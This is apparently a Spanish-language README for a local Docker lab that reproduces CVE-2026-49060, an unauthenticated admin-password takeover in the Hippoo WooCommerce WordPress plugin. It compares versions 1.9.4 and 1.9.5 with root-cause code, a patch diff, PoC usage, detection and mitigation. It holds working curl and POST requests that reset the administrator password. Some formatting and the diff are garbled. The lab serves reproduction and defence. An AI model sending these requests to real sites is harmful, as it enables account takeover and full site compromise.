rootdirective-sec/cve-2026-49060-labLaboratorio basado en Docker para reproducir CVE-2026-49060, una escalada de privilegios no autenticada en el plugin Hippoo Mobile App para WooCommerce de WordPress. Compara las versiones vulnerable 1.9.4 y parcheada 1.9.5 con un PoC en Python.
Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-49060, una vulnerabilidad de Asignación Incorrecta de Privilegios que afecta al plugin de WordPress Aplicación Móvil Hippoo para WooCommerce.
El comportamiento vulnerable se expone a través del espacio de nombres de la API REST clonada de Hippoo:```text /wc-hippoo/v1/ext/
En el objetivo vulnerable, un visitante no autenticado puede acceder a una ruta clonada de usuarios de la REST API de WordPress y puede actualizar la contraseña del usuario administrador mediante una solicitud HTTP no autenticada. En el objetivo parcheado, la misma solicitud es bloqueada con `403 Forbidden`.
Este laboratorio compara dos versiones de Hippoo:
| Service | Hippoo version | Purpose | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Objetivo de comparación vulnerable | `http://localhost:8081` |
| `patched` | 1.9.5 | Objetivo de comparación parcheado | `http://localhost:8082` |
La cadena de vulnerabilidad demostrada es:
-```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Este laboratorio valida el comportamiento de autorización vulnerable versus parcheado utilizando Hippoo 1.9.4 y Hippoo 1.9.5.
El laboratorio está intencionalmente limitado a servicios Docker locales. No tiene como objetivo sistemas externos y no incluye persistencia, webshells, malware ni devoluciones de llamada externas.
Este laboratorio utiliza Hippoo 1.9.4 como objetivo de comparación vulnerable porque los avisos públicos identifican las versiones hasta 1.9.4 como afectadas.
Este laboratorio utiliza Hippoo 1.9.5 como objetivo de comparación parcheado porque los metadatos de avisos públicos identifican 1.9.5 como la versión corregida para el rango afectado demostrado.
El registro público de CVE-2026-49060 describe el problema a alto nivel como Asignación Incorrecta de Privilegios / Escalada de Privilegios. Este laboratorio se centra en el comportamiento observable de autorización en Hippoo 1.9.4 y lo compara con Hippoo 1.9.5.
El resumen de la causa raíz en este README se basa en la comparación de fuentes entre las versiones vulnerable y parcheada de Hippoo utilizadas en el laboratorio.
Este laboratorio no pretende probar todas las rutas de Hippoo. Se centra en la ruta REST clonada de usuarios de WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
El laboratorio no demuestra:
* persistencia,
* carga de web shell,
* ejecución de comandos arbitrarios,
* callbacks externos,
* comportamiento de malware,
* ataques contra sistemas que no son del laboratorio,
* o actividad posterior al compromiso más allá de la validación local de actualización de contraseña.
## Resumen de la causa raíz
La causa raíz es un error de lógica de permisos en el manejo de roles y permisos de Hippoo.
Hippoo expone rutas REST clonadas de WordPress y WooCommerce bajo su propio espacio de nombres:```text
/wc-hippoo/v1/ext/
El comportamiento de clonación de rutas es sensible a la seguridad porque la ruta clonada debe preservar o fortalecer los requisitos de autorización de la ruta original. Si la ruta clonada recibe una devolución de llamada de permiso permisiva, los usuarios no autenticados podrían acceder a endpoints REST que deberían requerir autenticación y autorización.
El comportamiento relevante de clonación de rutas sigue este patrón:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
El modelo de seguridad previsto es:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
El comportamiento vulnerable ocurre porque Hippoo 1.9.4 utiliza el mismo valor de retorno para dos estados diferentes:```text
administrator / unrestricted access
unauthenticated visitor / no user
En Hippoo `1.9.4`, el ayudante de permisos devuelve `null` cuando no hay ningún usuario de WordPress conectado:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
La versión vulnerable también trata null como permitido:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Esto crea el flujo de datos vulnerable:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
El problema no es simplemente que exista una ruta REST. El problema es que la decisión de permiso puede tratar incorrectamente a un visitante no autenticado como sin restricciones.
La versión parcheada separa esos estados.
En Hippoo 1.9.5, los visitantes no autenticados devuelven false en lugar de null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
La verificación de autorización parcheada luego deniega explícitamente `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
El cambio relevante para la seguridad es:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
Por eso el laboratorio muestra:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
El parche cambia el significado de los valores de retorno de permisos.
En la versión vulnerable:```text null means administrator/full access null also means unauthenticated/no user
En la versión parcheada:```text
null means administrator/full access
false means unauthenticated/no role/no access
El cambio importante a nivel de fuente en el helper de permisos es:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
La decisión de autorización también se cambia:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Este parche no elimina la función de route-cloning de Hippoo. En cambio, corrige el límite de confianza alrededor de la evaluación de permisos.
La lección de seguridad del parche es:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Las funciones de permisos sensibles a la seguridad deben usar valores distintos para estados distintos:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
El laboratorio ejecuta dos instalaciones aisladas de WordPress a través de Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
Los dos servicios de WordPress utilizan bases de datos separadas y versiones de plugins separadas:
| Servicio | Componente | Versión / Rol |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | aplicación objetivo vulnerable |
| `patched` | WordPress + WooCommerce + Hippoo | aplicación objetivo parcheada |
| `db-vuln` | MariaDB | base de datos para objetivo vulnerable |
| `db-patched` | MariaDB | base de datos para objetivo parcheado |
| `init-vuln` | servicio de inicialización de WordPress | inicializa objetivo vulnerable |
| `init-patched` | servicio de inicialización de WordPress | inicializa objetivo parcheado |
Servicios expuestos por defecto:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
El laboratorio utiliza versiones fijadas de Hippoo:
| Target | Versión de Hippoo | Comportamiento esperado |
|---|---|---|
http://localhost:8081 | 1.9.4 | la ruta de usuarios clonados no autenticados está permitida |
http://localhost:8082 | 1.9.5 | la ruta de usuarios clonados no autenticados está bloqueada |
El laboratorio instala WooCommerce porque Hippoo se integra con las clases y rutas REST de WooCommerce.
No se requiere ningún paquete de terceros de Python. El PoC solo utiliza módulos de la biblioteca estándar de Python.
Inicie el laboratorio desde un estado limpio:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Verificar estado del servicio:```bash
docker compose ps
Servicios saludables esperados:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Revisa las aplicaciones web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Ejecutar validación de solo lectura contra ambos objetivos:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Ejecuta validación local activa contra ambos objetivos:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Ejecute validación activa con una contraseña explícita:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## PoC Usage
Pase una o más URLs de destino locales como argumentos posicionales:```bash
python3 poc/poc.py <target_url> [target_url...]
Ejemplos:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
El modo predeterminado es de solo lectura. Envía una solicitud `GET` no autenticada a la ruta de usuarios clonados e informa si el acceso está permitido o bloqueado.
Opciones admitidas:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Ejemplo de validación activa:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
El PoC solo acepta destinos loopback/local:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
Rechaza objetivos no locales por diseño.
Comando:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Señal esperada de objetivo vulnerable:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Señal objetivo parcheada esperada:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Resumen esperado:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Comando:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Señal esperada de objetivo vulnerable:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Señal esperada del objetivo parcheado:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
La validación activa cambia solo la contraseña desechable del administrador de WordPress dentro del objetivo del laboratorio vulnerable local.
Credenciales predeterminadas del laboratorio local antes de la validación activa:```text
Username: admin
Password: AdminPass123!
Contraseña predeterminada después de una validación activa exitosa en el objetivo vulnerable:```text Username: admin Password: Cve49060LabPass123!
## Cómo funciona la validación
El validador primero descubre la API REST de WordPress.
Algunos entornos de WordPress exponen rutas REST a través de enlaces permanentes bonitos:```text
/wp-json/
Otras las exponen de manera más fiable a través del fallback de query-string:```text /?rest_route=/
El validador prueba ambas formas y utiliza la que devuelve un índice JSON REST.
Después del descubrimiento REST, busca la ruta de usuarios clonados de Hippoo:```text
/wc-hippoo/v1/ext/wp/v2/users
Luego realiza una solicitud GET de solo lectura no autenticada:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Comportamiento vulnerable esperado:```text
HTTP 200 OK
JSON user object returned
Comportamiento esperado tras el parche:```text HTTP 403 Forbidden JSON rest_forbidden error returned
Cuando `--update-password` está habilitado, el validador envía una solicitud POST no autenticada:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Comportamiento vulnerable esperado:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Comportamiento esperado tras el parche:```text
HTTP 403 Forbidden
The update is blocked.
La diferencia importante no es si la ruta existe. La ruta existe en ambas versiones. La diferencia de seguridad es si se permite que una solicitud no autenticada la invoque.
Prueba vulnerable de solo lectura:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Resultado esperado:```text
HTTP/1.1 200 OK
Content-Type: application/json
Sonda parcheada de solo lectura:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Resultado esperado:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Sonda vulnerable activa:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Resultado esperado:```text
HTTP/1.1 200 OK
Sonda parcheada activa:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Resultado esperado:```text
HTTP/1.1 403 Forbidden
El comportamiento vulnerable permite el acceso no autenticado a rutas REST clonadas bajo el espacio de nombres de Hippoo.
La ruta demostrada más sensible a la seguridad es la ruta clonada de usuarios de WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/
En el objetivo local vulnerable, una solicitud no autenticada puede actualizar la contraseña del usuario administrador. Esto demuestra el impacto de la toma de control de cuentas en el laboratorio controlado.
El impacto potencial en el mundo real, dependiendo de la configuración del sitio y las rutas expuestas, incluye:
* acceso no autorizado a datos confidenciales de la API REST,
* toma de control de la cuenta de administrador,
* escalada de privilegios,
* modificación no autorizada de registros de usuarios de WordPress,
* y compromiso total del sitio después de obtener acceso de administrador.
Este laboratorio demuestra la falla de autorización y la actualización de la contraseña del administrador local únicamente. No incluye explotación posterior a la autenticación, edición de complementos, ejecución de código, persistencia ni acciones destructivas.
## Detección y Monitoreo
Los indicadores potenciales incluyen solicitudes no autenticadas al espacio de nombres REST clonado de Hippoo:```text
/wc-hippoo/v1/ext/
Patrón de ruta de alto riesgo:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Indicadores sospechosos:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Ejemplos de patrones de registro de acceso:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Acciones de monitoreo recomendadas:
* Revise los registros de acceso del servidor web para `/wc-hippoo/v1/ext/`.
* Revise los registros de autenticación de WordPress para inicios de sesión de administrador no esperados.
* Revise los registros de usuarios de WordPress para cambios de contraseña recientes.
* Revise las direcciones de correo electrónico, roles y marcas de tiempo de creación de las cuentas de administrador.
* Revise las horas de modificación de archivos de plugins/temas si se sospecha de una toma de control del administrador.
* Monitoree las solicitudes de la API REST que devuelven `200 OK` a usuarios no autenticados donde se requiere autorización.
## Notas de mitigación y parches
Actualice Hippoo Mobile App for WooCommerce a una versión parcheada.
Para la comparación específica del laboratorio, Hippoo `1.9.5` bloquea el comportamiento demostrado de la ruta de usuarios clonados no autenticados que está permitido en `1.9.4`.
Para entornos de producción, actualice a la versión más reciente disponible en lugar de detenerse en la versión de comparación del laboratorio.
Pasos de mitigación recomendados:
* Actualice Hippoo Mobile App for WooCommerce a la última versión parcheada disponible.
* Confirme que la versión instalada sea más reciente que el rango afectado.
* Revise si `/wc-hippoo/v1/ext/` está expuesto públicamente.
* Rote las contraseñas de administrador si se sospecha de explotación.
* Revise las cuentas de administrador de WordPress para detectar cambios no autorizados.
* Revise los registros de acceso web para solicitudes no autenticadas a rutas REST clonadas.
* Desactive el plugin temporalmente si no es posible aplicar un parche inmediato.
* Use un WAF o parche virtual como capa temporal, no como reemplazo de la actualización.
Lecciones de ingeniería de seguridad:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Comprueba el estado del contenedor:```bash docker compose ps
Verificar los registros de inicialización:```bash
docker compose logs init-vuln init-patched
Verificar servicios web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Ejecutar validación de solo lectura:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Ejecutar validación activa:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Verificar plugins activos:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Verifique las versiones de Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Inspeccione la lógica de permisos en el objetivo vulnerable:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Inspecciona la lógica de permisos en el objetivo parcheado:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Guardar evidencia de validación:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Detener y eliminar contenedores y redes:```bash docker compose down --remove-orphans
Eliminar contenedores, redes y volúmenes:```bash
docker compose down -v --remove-orphans
Eliminar archivos de evidencia local si se crean:```bash rm -rf evidence/
## Límites de seguridad
Este laboratorio es solo para investigación de seguridad local y demostración controlada.
No ejecute el PoC ni solicitudes curl manuales contra sistemas que no posea o para los que no tenga autorización explícita para realizar pruebas.
No use credenciales reales de producción, datos reales de clientes o secretos de producción en este laboratorio.
El alcance previsto se limita a servicios locales de Docker, como:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
El PoC es intencionalmente solo HTTP y de ámbito local. No llama a Docker, Docker Compose, WP-CLI ni APIs de contenedores.
El modo de validación activa cambia la contraseña solo para el usuario de WordPress seleccionado dentro del laboratorio local desechable.
El laboratorio no incluye payloads para:
El objetivo es demostrar una condición técnica específica en un entorno controlado:```text unauthenticated request
## Referencias
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: Plugin Hippoo Mobile App for WooCommerce de WordPress <= 1.9.4 - Escalada de Privilegios
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* GitHub Advisory: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* Plugin de WordPress.org: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* Plugin SVN de WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* Etiquetas SVN del Plugin de WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* Manual de la API REST de WordPress: Rutas y Puntos de Acceso
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* Guía de Pruebas de Seguridad Web de OWASP: Pruebas para Omisión de Autorización
https://owasp.org/www-project-web-security-testing-guide/
| Afirmación | Evidencia | Cómo verificar en este laboratorio |
|---|
CVE-2026-49060 afecta a Hippoo Mobile App para WooCommerce hasta la versión 1.9.4. | Los avisos públicos identifican a Hippoo <= 1.9.4 / hasta 1.9.4 como afectado. | Revise la sección de Referencias y compare la versión del servicio vuln. |
Hippoo 1.9.5 se utiliza como objetivo de comparación parcheado. | Los metadatos de avisos públicos identifican 1.9.5 como una versión parcheada para el rango afectado. | Ejecute docker compose logs init-vuln init-patched y confirme las versiones de los plugins inicializados. |
| El comportamiento vulnerable se expone a través del espacio de nombres REST clonado de Hippoo. | Hippoo vuelve a registrar rutas REST externas bajo /wc-hippoo/v1/ext/. | Ejecute python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
Hippoo 1.9.4 permite acceso no autenticado a la ruta de usuarios clonada en este laboratorio. | El PoC del laboratorio recibe 200 OK desde http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Ejecute el comando de validación de solo lectura contra 8081. |
Hippoo 1.9.5 bloquea la misma solicitud no autenticada en este laboratorio. | El PoC del laboratorio recibe 403 Forbidden desde http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Ejecute el comando de validación de solo lectura contra 8082. |
| El objetivo vulnerable puede actualizar la contraseña del administrador a través de un POST no autenticado en este laboratorio local. | El PoC activo recibe 200 OK del objetivo vulnerable cuando se usa --update-password. | Ejecute python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| El objetivo parcheado bloquea la solicitud de actualización de contraseña no autenticada. | Hippoo 1.9.5 devuelve una respuesta de prohibido para la misma ruta de usuarios clonada. | Ejecute validación activa contra ambos objetivos. |
| El PoC es solo HTTP. | poc/poc.py envía solo solicitudes HTTP y no llama a Docker, WP-CLI ni APIs de contenedores. | Inspeccione poc/poc.py. |